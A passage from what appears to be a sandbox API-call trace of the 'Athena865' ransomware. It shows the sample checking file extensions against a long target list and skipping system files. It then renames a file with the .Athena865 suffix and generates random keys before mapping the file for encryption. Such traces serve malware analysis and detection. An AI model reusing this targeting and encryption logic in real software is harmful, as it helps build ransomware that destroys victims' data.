3 [0034.771] lstrcmpiW (lpString1="OG1", lpString2="mas") returned 1 [0034.771] lstrlenW (lpString="mav") returned 3 [0034.771] lstrcmpiW (lpString1="OG1", lpString2="mav") returned 1 [0034.771] lstrlenW (lpString="maw") returned 3 [0034.771] lstrcmpiW (lpString1="OG1", lpString2="maw") returned 1 [0034.771] lstrlenW (lpString="mdbhtml") returned 7 [0034.771] lstrcmpiW (lpString1="ve.LOG1", lpString2="mdbhtml") returned 1 [0034.771] lstrlenW (lpString="mdn") returned 3 [0034.771] lstrcmpiW (lpString1="OG1", lpString2="mdn") returned 1 [0034.771] lstrlenW (lpString="mdt") returned 3 [0034.771] lstrcmpiW (lpString1="OG1", lpString2="mdt") returned 1 [0034.771] lstrlenW (lpString="mfd") returned 3 [0034.771] lstrcmpiW (lpString1="OG1", lpString2="mfd") returned 1 [0034.771] lstrlenW (lpString="mpd") returned 3 [0034.771] lstrcmpiW (lpString1="OG1", lpString2="mpd") returned 1 [0034.771] lstrlenW (lpString="mrg") returned 3 [0034.771] lstrcmpiW (lpString1="OG1", lpString2="mrg") returned 1 [0034.771] lstrlenW (lpString="mud") returned 3 [0034.771] lstrcmpiW (lpString1="OG1", lpString2="mud") returned 1 [0034.771] lstrlenW (lpString="mwb") returned 3 [0034.771] lstrcmpiW (lpString1="OG1", lpString2="mwb") returned 1 [0034.771] lstrlenW (lpString="myd") returned 3 [0034.771] lstrcmpiW (lpString1="OG1", lpString2="myd") returned 1 [0034.771] lstrlenW (lpString="ndf") returned 3 [0034.771] lstrcmpiW (lpString1="OG1", lpString2="ndf") returned 1 [0034.771] lstrlenW (lpString="nnt") returned 3 [0034.771] lstrcmpiW (lpString1="OG1", lpString2="nnt") returned 1 [0034.771] lstrlenW (lpString="nrmlib") returned 6 [0034.772] lstrcmpiW (lpString1="e.LOG1", lpString2="nrmlib") returned -1 [0034.772] lstrlenW (lpString="ns2") returned 3 [0034.772] lstrcmpiW (lpString1="OG1", lpString2="ns2") returned 1 [0034.772] lstrlenW (lpString="ns3") returned 3 [0034.772] lstrcmpiW (lpString1="OG1", lpString2="ns3") returned 1 [0034.772] lstrlenW (lpString="ns4") returned 3 [0034.772] lstrcmpiW (lpString1="OG1", lpString2="ns4") returned 1 [0034.772] lstrlenW (lpString="nsf") returned 3 [0034.772] lstrcmpiW (lpString1="OG1", lpString2="nsf") returned 1 [0034.772] lstrlenW (lpString="nv") returned 2 [0034.772] lstrcmpiW (lpString1="G1", lpString2="nv") returned -1 [0034.772] lstrlenW (lpString="nv2") returned 3 [0034.772] lstrcmpiW (lpString1="OG1", lpString2="nv2") returned 1 [0034.772] lstrlenW (lpString="nwdb") returned 4 [0034.772] lstrcmpiW (lpString1="LOG1", lpString2="nwdb") returned -1 [0034.772] lstrlenW (lpString="nyf") returned 3 [0034.772] lstrcmpiW (lpString1="OG1", lpString2="nyf") returned 1 [0034.772] lstrlenW (lpString="odb") returned 3 [0034.772] lstrcmpiW (lpString1="OG1", lpString2="odb") returned 1 [0034.772] lstrlenW (lpString="odb") returned 3 [0034.772] lstrcmpiW (lpString1="OG1", lpString2="odb") returned 1 [0034.772] lstrlenW (lpString="oqy") returned 3 [0034.772] lstrcmpiW (lpString1="OG1", lpString2="oqy") returned -1 [0034.772] lstrlenW (lpString="ora") returned 3 [0034.772] lstrcmpiW (lpString1="OG1", lpString2="ora") returned -1 [0034.772] lstrlenW (lpString="orx") returned 3 [0034.772] lstrcmpiW (lpString1="OG1", lpString2="orx") returned -1 [0034.772] lstrlenW (lpString="owc") returned 3 [0034.772] lstrcmpiW (lpString1="OG1", lpString2="owc") returned -1 [0034.772] lstrlenW (lpString="p96") returned 3 [0034.772] lstrcmpiW (lpString1="OG1", lpString2="p96") returned -1 [0034.772] lstrlenW (lpString="p97") returned 3 [0034.772] lstrcmpiW (lpString1="OG1", lpString2="p97") returned -1 [0034.772] lstrlenW (lpString="pan") returned 3 [0034.772] lstrcmpiW (lpString1="OG1", lpString2="pan") returned -1 [0034.772] lstrlenW (lpString="pdb") returned 3 [0034.772] lstrcmpiW (lpString1="OG1", lpString2="pdb") returned -1 [0034.772] lstrlenW (lpString="pdm") returned 3 [0034.773] lstrcmpiW (lpString1="OG1", lpString2="pdm") returned -1 [0034.773] lstrlenW (lpString="pnz") returned 3 [0034.773] lstrcmpiW (lpString1="OG1", lpString2="pnz") returned -1 [0034.773] lstrlenW (lpString="qry") returned 3 [0034.773] lstrcmpiW (lpString1="OG1", lpString2="qry") returned -1 [0034.773] lstrlenW (lpString="qvd") returned 3 [0034.773] lstrcmpiW (lpString1="OG1", lpString2="qvd") returned -1 [0034.773] lstrlenW (lpString="rbf") returned 3 [0034.773] lstrcmpiW (lpString1="OG1", lpString2="rbf") returned -1 [0034.773] lstrlenW (lpString="rctd") returned 4 [0034.773] lstrcmpiW (lpString1="LOG1", lpString2="rctd") returned -1 [0034.773] lstrlenW (lpString="rod") returned 3 [0034.773] lstrcmpiW (lpString1="OG1", lpString2="rod") returned -1 [0034.773] lstrlenW (lpString="rodx") returned 4 [0034.773] lstrcmpiW (lpString1="LOG1", lpString2="rodx") returned -1 [0034.773] lstrlenW (lpString="rpd") returned 3 [0034.773] lstrcmpiW (lpString1="OG1", lpString2="rpd") returned -1 [0034.773] lstrlenW (lpString="rsd") returned 3 [0034.773] lstrcmpiW (lpString1="OG1", lpString2="rsd") returned -1 [0034.773] lstrlenW (lpString="sas7bdat") returned 8 [0034.773] lstrcmpiW (lpString1="hve.LOG1", lpString2="sas7bdat") returned -1 [0034.773] lstrlenW (lpString="sbf") returned 3 [0034.773] lstrcmpiW (lpString1="OG1", lpString2="sbf") returned -1 [0034.773] lstrlenW (lpString="scx") returned 3 [0034.773] lstrcmpiW (lpString1="OG1", lpString2="scx") returned -1 [0034.773] lstrlenW (lpString="sdb") returned 3 [0034.773] lstrcmpiW (lpString1="OG1", lpString2="sdb") returned -1 [0034.773] lstrlenW (lpString="sdc") returned 3 [0034.773] lstrcmpiW (lpString1="OG1", lpString2="sdc") returned -1 [0034.773] lstrlenW (lpString="sdf") returned 3 [0034.773] lstrcmpiW (lpString1="OG1", lpString2="sdf") returned -1 [0034.773] lstrlenW (lpString="sis") returned 3 [0034.773] lstrcmpiW (lpString1="OG1", lpString2="sis") returned -1 [0034.773] lstrlenW (lpString="spq") returned 3 [0034.773] lstrcmpiW (lpString1="OG1", lpString2="spq") returned -1 [0034.773] lstrlenW (lpString="te") returned 2 [0034.773] lstrcmpiW (lpString1="G1", lpString2="te") returned -1 [0034.773] lstrlenW (lpString="teacher") returned 7 [0034.773] lstrcmpiW (lpString1="ve.LOG1", lpString2="teacher") returned 1 [0034.774] lstrlenW (lpString="tmd") returned 3 [0034.774] lstrcmpiW (lpString1="OG1", lpString2="tmd") returned -1 [0034.774] lstrlenW (lpString="tps") returned 3 [0034.774] lstrcmpiW (lpString1="OG1", lpString2="tps") returned -1 [0034.774] lstrlenW (lpString="trc") returned 3 [0034.774] lstrcmpiW (lpString1="OG1", lpString2="trc") returned -1 [0034.774] lstrlenW (lpString="trc") returned 3 [0034.774] lstrcmpiW (lpString1="OG1", lpString2="trc") returned -1 [0034.774] lstrlenW (lpString="trm") returned 3 [0034.774] lstrcmpiW (lpString1="OG1", lpString2="trm") returned -1 [0034.774] lstrlenW (lpString="udb") returned 3 [0034.774] lstrcmpiW (lpString1="OG1", lpString2="udb") returned -1 [0034.774] lstrlenW (lpString="udl") returned 3 [0034.774] lstrcmpiW (lpString1="OG1", lpString2="udl") returned -1 [0034.774] lstrlenW (lpString="usr") returned 3 [0034.774] lstrcmpiW (lpString1="OG1", lpString2="usr") returned -1 [0034.774] lstrlenW (lpString="v12") returned 3 [0034.774] lstrcmpiW (lpString1="OG1", lpString2="v12") returned -1 [0034.774] lstrlenW (lpString="vis") returned 3 [0034.774] lstrcmpiW (lpString1="OG1", lpString2="vis") returned -1 [0034.774] lstrlenW (lpString="vpd") returned 3 [0034.774] lstrcmpiW (lpString1="OG1", lpString2="vpd") returned -1 [0034.774] lstrlenW (lpString="vvv") returned 3 [0034.774] lstrcmpiW (lpString1="OG1", lpString2="vvv") returned -1 [0034.774] lstrlenW (lpString="wdb") returned 3 [0034.774] lstrcmpiW (lpString1="OG1", lpString2="wdb") returned -1 [0034.774] lstrlenW (lpString="wmdb") returned 4 [0034.774] lstrcmpiW (lpString1="LOG1", lpString2="wmdb") returned -1 [0034.774] lstrlenW (lpString="wrk") returned 3 [0034.774] lstrcmpiW (lpString1="OG1", lpString2="wrk") returned -1 [0034.775] lstrlenW (lpString="xdb") returned 3 [0034.775] lstrcmpiW (lpString1="OG1", lpString2="xdb") returned -1 [0034.775] lstrlenW (lpString="xld") returned 3 [0034.775] lstrcmpiW (lpString1="OG1", lpString2="xld") returned -1 [0034.775] lstrlenW (lpString="xmlff") returned 5 [0034.775] lstrcmpiW (lpString1=".LOG1", lpString2="xmlff") returned -1 [0034.775] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\Syscache.hve.LOG1.Athena865") returned 56 [0034.775] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\Syscache.hve.LOG1" (normalized: "c:\\system volume information\\syscache.hve.log1"), lpNewFileName="C:\\System Volume Information\\Syscache.hve.LOG1.Athena865" (normalized: "c:\\system volume information\\syscache.hve.log1.athena865"), dwFlags=0x1) returned 1 [0034.775] CreateFileW (lpFileName="C:\\System Volume Information\\Syscache.hve.LOG1.Athena865" (normalized: "c:\\system volume information\\syscache.hve.log1.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0034.775] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=41984) returned 1 [0034.775] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0034.776] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x50ddf8 [0034.776] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0034.776] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518788) returned 1 [0034.776] CryptGenRandom (in: hProv=0x518788, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0034.777] CryptReleaseContext (hProv=0x518788, dwFlags=0x0) returned 1 [0034.777] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa700, lpName=0x0) returned 0x140 [0034.779] MapViewOfFile (hFileMappingObject=0x140, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa700) returned 0x100000 [0034.781] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518788) returned 1 [0034.781] CryptGenRandom (in: hProv=0x518788, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0034.782] CryptReleaseContext (hProv=0x518788, dwFlags=0x0) returned 1 [0034.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x50de70 [0034.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50de70 | out: hHeap=0x4f0000) returned 1 [0034.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528028 [0034.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0034.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528028 | out: hHeap=0x4f0000) returned 1 [0034.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0034.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x528028 [0034.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0034.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528028 | out: hHeap=0x4f0000) returned 1 [0034.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0034.783] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0034.783] CloseHandle (hObject=0x140) returned 1 [0034.783] CloseHandle (hObject=0x154) returned 1 [0034.785] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ddf8 | out: hHeap=0x4f0000) returned 1 [0034.785] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0034.785] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0034.785] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6322dea0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x6322dea0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x6322dea0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Syscache.hve.LOG2", cAlternateFileName="SYSCAC~2.LOG")) returned 1 [0034.785] lstrcmpiW (lpString1="Syscache.hve.LOG2", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.785] lstrcmpiW (lpString1="Syscache.hve.LOG2", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.785] lstrcmpiW (lpString1="Syscache.hve.LOG2", lpString2=".") returned 1 [0034.785] lstrcmpiW (lpString1="Syscache.hve.LOG2", lpString2="..") returned 1 [0034.785] lstrcmpiW (lpString1="Syscache.hve.LOG2", lpString2="windows") returned -1 [0034.785] lstrcmpiW (lpString1="Syscache.hve.LOG2", lpString2="bootmgr") returned 1 [0034.785] lstrcmpiW (lpString1="Syscache.hve.LOG2", lpString2="temp") returned -1 [0034.785] lstrcmpiW (lpString1="Syscache.hve.LOG2", lpString2="pagefile.sys") returned 1 [0034.785] lstrcmpiW (lpString1="Syscache.hve.LOG2", lpString2="boot") returned 1 [0034.785] lstrcmpiW (lpString1="Syscache.hve.LOG2", lpString2="ids.txt") returned 1 [0034.785] lstrcmpiW (lpString1="Syscache.hve.LOG2", lpString2="ntuser.dat") returned 1 [0034.785] lstrcmpiW (lpString1="Syscache.hve.LOG2", lpString2="perflogs") returned 1 [0034.785] lstrcmpiW (lpString1="Syscache.hve.LOG2", lpString2="MSBuild") returned 1 [0034.785] lstrlenW (lpString="Syscache.hve.LOG2") returned 17 [0034.786] lstrcpyW (in: lpString1=0x241e882, lpString2="Syscache.hve.LOG2" | out: lpString1="Syscache.hve.LOG2") returned="Syscache.hve.LOG2" [0034.786] lstrlenW (lpString="Syscache.hve.LOG2") returned 17 [0034.786] lstrlenW (lpString="Athena865") returned 9 [0034.786] lstrcmpiW (lpString1=".hve.LOG2", lpString2="Athena865") returned -1 [0034.786] lstrlenW (lpString=".dll") returned 4 [0034.786] lstrcmpiW (lpString1="Syscache.hve.LOG2", lpString2=".dll") returned 1 [0034.786] lstrlenW (lpString=".lnk") returned 4 [0034.786] lstrcmpiW (lpString1="Syscache.hve.LOG2", lpString2=".lnk") returned 1 [0034.786] lstrlenW (lpString=".ini") returned 4 [0034.786] lstrcmpiW (lpString1="Syscache.hve.LOG2", lpString2=".ini") returned 1 [0034.786] lstrlenW (lpString=".sys") returned 4 [0034.786] lstrcmpiW (lpString1="Syscache.hve.LOG2", lpString2=".sys") returned 1 [0034.786] lstrlenW (lpString="Syscache.hve.LOG2") returned 17 [0034.786] lstrlenW (lpString="bak") returned 3 [0034.786] lstrcmpiW (lpString1="OG2", lpString2="bak") returned 1 [0034.786] lstrlenW (lpString="ba_") returned 3 [0034.786] lstrcmpiW (lpString1="OG2", lpString2="ba_") returned 1 [0034.786] lstrlenW (lpString="dbb") returned 3 [0034.786] lstrcmpiW (lpString1="OG2", lpString2="dbb") returned 1 [0034.786] lstrlenW (lpString="vmdk") returned 4 [0034.786] lstrcmpiW (lpString1="LOG2", lpString2="vmdk") returned -1 [0034.786] lstrlenW (lpString="rar") returned 3 [0034.786] lstrcmpiW (lpString1="OG2", lpString2="rar") returned -1 [0034.786] lstrlenW (lpString="zip") returned 3 [0034.786] lstrcmpiW (lpString1="OG2", lpString2="zip") returned -1 [0034.786] lstrlenW (lpString="tgz") returned 3 [0034.786] lstrcmpiW (lpString1="OG2", lpString2="tgz") returned -1 [0034.786] lstrlenW (lpString="vbox") returned 4 [0034.786] lstrcmpiW (lpString1="LOG2", lpString2="vbox") returned -1 [0034.786] lstrlenW (lpString="vdi") returned 3 [0034.786] lstrcmpiW (lpString1="OG2", lpString2="vdi") returned -1 [0034.786] lstrlenW (lpString="vhd") returned 3 [0034.786] lstrcmpiW (lpString1="OG2", lpString2="vhd") returned -1 [0034.786] lstrlenW (lpString="vhdx") returned 4 [0034.786] lstrcmpiW (lpString1="LOG2", lpString2="vhdx") returned -1 [0034.786] lstrlenW (lpString="avhd") returned 4 [0034.786] lstrcmpiW (lpString1="LOG2", lpString2="avhd") returned 1 [0034.787] lstrlenW (lpString="db") returned 2 [0034.787] lstrcmpiW (lpString1="G2", lpString2="db") returned 1 [0034.787] lstrlenW (lpString="db2") returned 3 [0034.787] lstrcmpiW (lpString1="OG2", lpString2="db2") returned 1 [0034.787] lstrlenW (lpString="db3") returned 3 [0034.787] lstrcmpiW (lpString1="OG2", lpString2="db3") returned 1 [0034.787] lstrlenW (lpString="dbf") returned 3 [0034.787] lstrcmpiW (lpString1="OG2", lpString2="dbf") returned 1 [0034.787] lstrlenW (lpString="mdf") returned 3 [0034.787] lstrcmpiW (lpString1="OG2", lpString2="mdf") returned 1 [0034.787] lstrlenW (lpString="mdb") returned 3 [0034.787] lstrcmpiW (lpString1="OG2", lpString2="mdb") returned 1 [0034.787] lstrlenW (lpString="sql") returned 3 [0034.787] lstrcmpiW (lpString1="OG2", lpString2="sql") returned -1 [0034.787] lstrlenW (lpString="sqlite") returned 6 [0034.787] lstrcmpiW (lpString1="e.LOG2", lpString2="sqlite") returned -1 [0034.787] lstrlenW (lpString="sqlite3") returned 7 [0034.787] lstrcmpiW (lpString1="ve.LOG2", lpString2="sqlite3") returned 1 [0034.787] lstrlenW (lpString="sqlitedb") returned 8 [0034.787] lstrcmpiW (lpString1="hve.LOG2", lpString2="sqlitedb") returned -1 [0034.787] lstrlenW (lpString="xml") returned 3 [0034.787] lstrcmpiW (lpString1="OG2", lpString2="xml") returned -1 [0034.787] lstrlenW (lpString="$er") returned 3 [0034.787] lstrcmpiW (lpString1="OG2", lpString2="$er") returned 1 [0034.787] lstrlenW (lpString="4dd") returned 3 [0034.787] lstrcmpiW (lpString1="OG2", lpString2="4dd") returned 1 [0034.787] lstrlenW (lpString="4dl") returned 3 [0034.787] lstrcmpiW (lpString1="OG2", lpString2="4dl") returned 1 [0034.787] lstrlenW (lpString="^^^") returned 3 [0034.787] lstrcmpiW (lpString1="OG2", lpString2="^^^") returned 1 [0034.787] lstrlenW (lpString="abs") returned 3 [0034.787] lstrcmpiW (lpString1="OG2", lpString2="abs") returned 1 [0034.787] lstrlenW (lpString="abx") returned 3 [0034.787] lstrcmpiW (lpString1="OG2", lpString2="abx") returned 1 [0034.787] lstrlenW (lpString="accdb") returned 5 [0034.787] lstrcmpiW (lpString1=".LOG2", lpString2="accdb") returned -1 [0034.787] lstrlenW (lpString="accdc") returned 5 [0034.787] lstrcmpiW (lpString1=".LOG2", lpString2="accdc") returned -1 [0034.787] lstrlenW (lpString="accde") returned 5 [0034.788] lstrcmpiW (lpString1=".LOG2", lpString2="accde") returned -1 [0034.788] lstrlenW (lpString="accdr") returned 5 [0034.788] lstrcmpiW (lpString1=".LOG2", lpString2="accdr") returned -1 [0034.788] lstrlenW (lpString="accdt") returned 5 [0034.788] lstrcmpiW (lpString1=".LOG2", lpString2="accdt") returned -1 [0034.788] lstrlenW (lpString="accdw") returned 5 [0034.788] lstrcmpiW (lpString1=".LOG2", lpString2="accdw") returned -1 [0034.788] lstrlenW (lpString="accft") returned 5 [0034.788] lstrcmpiW (lpString1=".LOG2", lpString2="accft") returned -1 [0034.788] lstrlenW (lpString="adb") returned 3 [0034.788] lstrcmpiW (lpString1="OG2", lpString2="adb") returned 1 [0034.788] lstrlenW (lpString="adb") returned 3 [0034.788] lstrcmpiW (lpString1="OG2", lpString2="adb") returned 1 [0034.788] lstrlenW (lpString="ade") returned 3 [0034.788] lstrcmpiW (lpString1="OG2", lpString2="ade") returned 1 [0034.788] lstrlenW (lpString="adf") returned 3 [0034.788] lstrcmpiW (lpString1="OG2", lpString2="adf") returned 1 [0034.788] lstrlenW (lpString="adn") returned 3 [0034.788] lstrcmpiW (lpString1="OG2", lpString2="adn") returned 1 [0034.788] lstrlenW (lpString="adp") returned 3 [0034.788] lstrcmpiW (lpString1="OG2", lpString2="adp") returned 1 [0034.788] lstrlenW (lpString="alf") returned 3 [0034.788] lstrcmpiW (lpString1="OG2", lpString2="alf") returned 1 [0034.788] lstrlenW (lpString="ask") returned 3 [0034.788] lstrcmpiW (lpString1="OG2", lpString2="ask") returned 1 [0034.788] lstrlenW (lpString="btr") returned 3 [0034.788] lstrcmpiW (lpString1="OG2", lpString2="btr") returned 1 [0034.788] lstrlenW (lpString="cat") returned 3 [0034.788] lstrcmpiW (lpString1="OG2", lpString2="cat") returned 1 [0034.788] lstrlenW (lpString="cdb") returned 3 [0034.788] lstrcmpiW (lpString1="OG2", lpString2="cdb") returned 1 [0034.788] lstrlenW (lpString="ckp") returned 3 [0034.788] lstrcmpiW (lpString1="OG2", lpString2="ckp") returned 1 [0034.788] lstrlenW (lpString="cma") returned 3 [0034.788] lstrcmpiW (lpString1="OG2", lpString2="cma") returned 1 [0034.788] lstrlenW (lpString="cpd") returned 3 [0034.788] lstrcmpiW (lpString1="OG2", lpString2="cpd") returned 1 [0034.788] lstrlenW (lpString="dacpac") returned 6 [0034.788] lstrcmpiW (lpString1="e.LOG2", lpString2="dacpac") returned 1 [0034.789] lstrlenW (lpString="dad") returned 3 [0034.789] lstrcmpiW (lpString1="OG2", lpString2="dad") returned 1 [0034.789] lstrlenW (lpString="dadiagrams") returned 10 [0034.789] lstrcmpiW (lpString1="e.hve.LOG2", lpString2="dadiagrams") returned 1 [0034.789] lstrlenW (lpString="daschema") returned 8 [0034.789] lstrcmpiW (lpString1="hve.LOG2", lpString2="daschema") returned 1 [0034.789] lstrlenW (lpString="db-journal") returned 10 [0034.789] lstrcmpiW (lpString1="e.hve.LOG2", lpString2="db-journal") returned 1 [0034.789] lstrlenW (lpString="db-shm") returned 6 [0034.789] lstrcmpiW (lpString1="e.LOG2", lpString2="db-shm") returned 1 [0034.789] lstrlenW (lpString="db-wal") returned 6 [0034.789] lstrcmpiW (lpString1="e.LOG2", lpString2="db-wal") returned 1 [0034.789] lstrlenW (lpString="dbc") returned 3 [0034.789] lstrcmpiW (lpString1="OG2", lpString2="dbc") returned 1 [0034.789] lstrlenW (lpString="dbs") returned 3 [0034.789] lstrcmpiW (lpString1="OG2", lpString2="dbs") returned 1 [0034.789] lstrlenW (lpString="dbt") returned 3 [0034.789] lstrcmpiW (lpString1="OG2", lpString2="dbt") returned 1 [0034.789] lstrlenW (lpString="dbv") returned 3 [0034.789] lstrcmpiW (lpString1="OG2", lpString2="dbv") returned 1 [0034.789] lstrlenW (lpString="dbx") returned 3 [0034.789] lstrcmpiW (lpString1="OG2", lpString2="dbx") returned 1 [0034.789] lstrlenW (lpString="dcb") returned 3 [0034.789] lstrcmpiW (lpString1="OG2", lpString2="dcb") returned 1 [0034.789] lstrlenW (lpString="dct") returned 3 [0034.789] lstrcmpiW (lpString1="OG2", lpString2="dct") returned 1 [0034.789] lstrlenW (lpString="dcx") returned 3 [0034.789] lstrcmpiW (lpString1="OG2", lpString2="dcx") returned 1 [0034.789] lstrlenW (lpString="ddl") returned 3 [0034.789] lstrcmpiW (lpString1="OG2", lpString2="ddl") returned 1 [0034.789] lstrlenW (lpString="dlis") returned 4 [0034.789] lstrcmpiW (lpString1="LOG2", lpString2="dlis") returned 1 [0034.789] lstrlenW (lpString="dp1") returned 3 [0034.789] lstrcmpiW (lpString1="OG2", lpString2="dp1") returned 1 [0034.789] lstrlenW (lpString="dqy") returned 3 [0034.789] lstrcmpiW (lpString1="OG2", lpString2="dqy") returned 1 [0034.789] lstrlenW (lpString="dsk") returned 3 [0034.789] lstrcmpiW (lpString1="OG2", lpString2="dsk") returned 1 [0034.789] lstrlenW (lpString="dsn") returned 3 [0034.789] lstrcmpiW (lpString1="OG2", lpString2="dsn") returned 1 [0034.790] lstrlenW (lpString="dtsx") returned 4 [0034.790] lstrcmpiW (lpString1="LOG2", lpString2="dtsx") returned 1 [0034.790] lstrlenW (lpString="dxl") returned 3 [0034.790] lstrcmpiW (lpString1="OG2", lpString2="dxl") returned 1 [0034.790] lstrlenW (lpString="eco") returned 3 [0034.790] lstrcmpiW (lpString1="OG2", lpString2="eco") returned 1 [0034.790] lstrlenW (lpString="ecx") returned 3 [0034.790] lstrcmpiW (lpString1="OG2", lpString2="ecx") returned 1 [0034.790] lstrlenW (lpString="edb") returned 3 [0034.790] lstrcmpiW (lpString1="OG2", lpString2="edb") returned 1 [0034.790] lstrlenW (lpString="epim") returned 4 [0034.790] lstrcmpiW (lpString1="LOG2", lpString2="epim") returned 1 [0034.790] lstrlenW (lpString="fcd") returned 3 [0034.790] lstrcmpiW (lpString1="OG2", lpString2="fcd") returned 1 [0034.790] lstrlenW (lpString="fdb") returned 3 [0034.790] lstrcmpiW (lpString1="OG2", lpString2="fdb") returned 1 [0034.790] lstrlenW (lpString="fic") returned 3 [0034.790] lstrcmpiW (lpString1="OG2", lpString2="fic") returned 1 [0034.790] lstrlenW (lpString="flexolibrary") returned 12 [0034.790] lstrcmpiW (lpString1="che.hve.LOG2", lpString2="flexolibrary") returned -1 [0034.790] lstrlenW (lpString="fm5") returned 3 [0034.790] lstrcmpiW (lpString1="OG2", lpString2="fm5") returned 1 [0034.790] lstrlenW (lpString="fmp") returned 3 [0034.790] lstrcmpiW (lpString1="OG2", lpString2="fmp") returned 1 [0034.790] lstrlenW (lpString="fmp12") returned 5 [0034.790] lstrcmpiW (lpString1=".LOG2", lpString2="fmp12") returned -1 [0034.790] lstrlenW (lpString="fmpsl") returned 5 [0034.790] lstrcmpiW (lpString1=".LOG2", lpString2="fmpsl") returned -1 [0034.790] lstrlenW (lpString="fol") returned 3 [0034.790] lstrcmpiW (lpString1="OG2", lpString2="fol") returned 1 [0034.790] lstrlenW (lpString="fp3") returned 3 [0034.790] lstrcmpiW (lpString1="OG2", lpString2="fp3") returned 1 [0034.790] lstrlenW (lpString="fp4") returned 3 [0034.790] lstrcmpiW (lpString1="OG2", lpString2="fp4") returned 1 [0034.790] lstrlenW (lpString="fp5") returned 3 [0034.790] lstrcmpiW (lpString1="OG2", lpString2="fp5") returned 1 [0034.790] lstrlenW (lpString="fp7") returned 3 [0034.790] lstrcmpiW (lpString1="OG2", lpString2="fp7") returned 1 [0034.791] lstrlenW (lpString="fpt") returned 3 [0034.791] lstrcmpiW (lpString1="OG2", lpString2="fpt") returned 1 [0034.791] lstrlenW (lpString="frm") returned 3 [0034.791] lstrcmpiW (lpString1="OG2", lpString2="frm") returned 1 [0034.791] lstrlenW (lpString="gdb") returned 3 [0034.791] lstrcmpiW (lpString1="OG2", lpString2="gdb") returned 1 [0034.791] lstrlenW (lpString="gdb") returned 3 [0034.791] lstrcmpiW (lpString1="OG2", lpString2="gdb") returned 1 [0034.791] lstrlenW (lpString="grdb") returned 4 [0034.791] lstrcmpiW (lpString1="LOG2", lpString2="grdb") returned 1 [0034.791] lstrlenW (lpString="gwi") returned 3 [0034.791] lstrcmpiW (lpString1="OG2", lpString2="gwi") returned 1 [0034.791] lstrlenW (lpString="hdb") returned 3 [0034.791] lstrcmpiW (lpString1="OG2", lpString2="hdb") returned 1 [0034.791] lstrlenW (lpString="his") returned 3 [0034.791] lstrcmpiW (lpString1="OG2", lpString2="his") returned 1 [0034.791] lstrlenW (lpString="ib") returned 2 [0034.791] lstrcmpiW (lpString1="G2", lpString2="ib") returned -1 [0034.791] lstrlenW (lpString="idb") returned 3 [0034.791] lstrcmpiW (lpString1="OG2", lpString2="idb") returned 1 [0034.791] lstrlenW (lpString="ihx") returned 3 [0034.791] lstrcmpiW (lpString1="OG2", lpString2="ihx") returned 1 [0034.791] lstrlenW (lpString="itdb") returned 4 [0034.791] lstrcmpiW (lpString1="LOG2", lpString2="itdb") returned 1 [0034.791] lstrlenW (lpString="itw") returned 3 [0034.791] lstrcmpiW (lpString1="OG2", lpString2="itw") returned 1 [0034.791] lstrlenW (lpString="jet") returned 3 [0034.791] lstrcmpiW (lpString1="OG2", lpString2="jet") returned 1 [0034.791] lstrlenW (lpString="jtx") returned 3 [0034.791] lstrcmpiW (lpString1="OG2", lpString2="jtx") returned 1 [0034.791] lstrlenW (lpString="kdb") returned 3 [0034.791] lstrcmpiW (lpString1="OG2", 